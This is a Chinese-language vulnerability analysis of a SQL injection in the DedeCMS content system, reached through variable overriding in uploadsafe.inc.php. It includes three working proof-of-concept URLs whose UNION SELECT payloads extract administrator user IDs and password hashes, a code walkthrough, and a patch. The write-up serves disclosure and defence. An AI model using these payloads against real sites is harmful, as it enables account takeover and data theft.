dedecms /include/uploadsafe.inc.php SQL Injection Via Local Variable Overriding Vul

Andrew.Hann發表於2015-05-16

catalog

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

1. dedecms原生提供一個"本地變數註冊"的模擬實現,原則上允許黑客覆蓋任意變數
2. dedecms在實現本地變數註冊的時候,會對$_GET、$_POST、$_COOKIE等的value值進行addslash轉移過濾處理
//$key值注入不在本文討論範圍內,詳情參閱:http://www.cnblogs.com/LittleHann/p/4505694.html
3. 在處理檔案上傳的邏輯中,存在一條攻擊路徑,程式自己"反處理"了addslash邏輯,使用於閉合的單引號重新獲得攻擊效果,造成SQL隱碼攻擊

Relevant Link:

http://0day5.com/archives/1346


2. 漏洞觸發條件

0x1: POC1

plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294

?action=
&aid=1
&_FILES[type][tmp_name]=\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+
&_FILES[type][name]=1.jpg
&_FILES[type][type]=application/octet-stream
&_FILES[type][size]=4294

0x2: POC2

http://DEDD/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'  or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=6873

0x3: POC3

http://DEDE/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23

0x4: POC入侵方式

1. 原始資料
\%27%20or%20mid=@`\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\%27`+

2.URL提交進來後,\ 和 ’ 分別被轉義成 \\ 和 \’
\\\' or mid=@`\\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\\'`

3.URL被帶入include/common.inc.php中檢查,此步資料未發生變化

4.然後來到了include/uploadsafe.inc.php中,經過第行str_replace後,\\被過濾成了\,用於攻擊閉合的單引號重新獲得攻擊能力
$$_key = $_FILES[$_key]['tmp_name'] =str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']);
\\' or mid=@`\\'`/*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from`#@__admin` limit 0,1),5,6,7,8,9#@`\\'`
此時引號被成功的帶入了查詢語句中

5.回到plus/recommend.php中,第38行,此時SQL語句被拼成如下:
SELECT s.*,t.* FROM `#@_member_stow` AS sLEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='1' ANDs.type='\\' or mid=@`\\'` /*!50000union*//*!50000select*/1,2,3,(selectCONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\\'` '

Relevant Link:

http://www.xuebuyuan.com/2095280.html
http://0day5.com/archives/1346
http://loudong.360.cn/blog/view/id/17

 
3. 漏洞影響範圍
4. 漏洞程式碼分析

從/plus/recommand.php開始逐步分析

require_once(dirname(__FILE__)."/../include/common.inc.php");
..

/include/common.inc.php

..
function _RunMagicQuotes(&$svar)
{
    if(!get_magic_quotes_gpc())
    {
        if( is_array($svar) )
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
            {
              exit('Request var not allow!');
            }
            $svar = addslashes($svar);
        }
    }
    return $svar;
}
..

只要提交的URL中不包含cfg_|GLOBALS|_GET|_POST|_COOKIE,即可通過檢查,_FILES[type][tmp_name]被帶入
引發漏洞的入口點在/include/uploadsafe.inc.php

..
//轉換上傳的檔案相關的變數及安全處理、並引用前臺通用的上傳函式
if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}
..

/include/uploadsafe.inc.php

..
//URL引數中的_FILES[type][tmp_name],$_key為type,$$_key即為$type,從而導致了$type變數的覆蓋
$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']);
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = eregi_replace('[^0-9a-z\./]','',$_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = ereg_replace('[^0-9]','',$_FILES[$_key]['size']);
..

/plus/recommand.php

//讀取文件資訊
if($action=='')
{
    if($type=='sys'){
    //讀取文件資訊
        $arcRow = GetOneArchive($aid);
        if($arcRow['aid']=='') 
        {
            ShowMsg("無法把未知文件推薦給好友!","-1");
            exit();
        }
        extract($arcRow, EXTR_OVERWRITE);
    } 
    else 
    {
        //注入語句被帶入資料庫查詢,
        $arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `#@__member_stow` AS s LEFT JOIN `#@__member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");
        if(!is_array($arcRow)){
            ShowMsg("無法把未知文件推薦給好友!","-1");
            exit();
        }
        $arcRow['arcurl']=$arcRow['indexurl']."=".$arcRow['aid'];
        extract($arcRow, EXTR_OVERWRITE);
    }
}


5. 防禦方法

/include/uploadsafe.inc.php

/*  */
//$$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\","\\",$_FILES[$_key]['tmp_name']);
$$_key = $_FILES[$_key]['tmp_name'];
/* */
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
    if(!defined('DEDEADMIN'))
    {
        exit('Not Admin Upload filetype not allow !');
    }
}
if(empty(${$_key.'_size'}))
{
    ${$_key.'_size'} = @filesize($$_key);
}

/* 限制上傳檔案型別 */
$imtypes = array
(
"image/pjpeg", "image/jpeg", "image/gif", "image/png", 
"image/xpng", "image/wbmp", "image/bmp"
);

if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key);
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');
    }
}
/* */ 


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

相關文章